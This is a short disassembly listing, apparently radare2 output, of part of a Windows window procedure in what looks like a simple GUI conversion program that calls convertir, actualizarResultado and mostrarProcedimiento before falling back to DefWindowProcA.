call rax
mov eax, 0
jmp 0x140001827
mov ecx, dword [rbp - 0x10]
mov edx, dword [rbp - 0xc]
mov rax, qword [rbp - 8]
mov r8d, ecx
movq xmm0, rax
call sym.convertir
movq rax, xmm0
mov qword [rbp - 0x18], rax
movsd xmm0, qword [rbp - 0x18]
mov rax, qword [rbp + 0x10]
movupd xmm1, xmm0
mov rcx, rax
call sym.actualizarResultado
movsd xmm1, qword [rbp - 0x18]
mov ecx, dword [rbp - 0xc]
movsd xmm0, qword [rbp - 8]
mov rax, qword [rbp + 0x10]
mov edx, dword [rbp - 0x10]
mov dword [rsp + 0x20], edx
movupd xmm3, xmm1
mov r8d, ecx
movupd xmm1, xmm0
mov rcx, rax
call sym.mostrarProcedimiento
jmp 0x140001821
mov r8, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x20]
mov edx, dword [rbp + 0x18]
mov rax, qword [rbp + 0x10]
mov r9, r8
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_DefWindowProcA]
call rax
jmp 0x140001827
nop
mov eax, 0
add rsp, 0x90
pop rbp
ret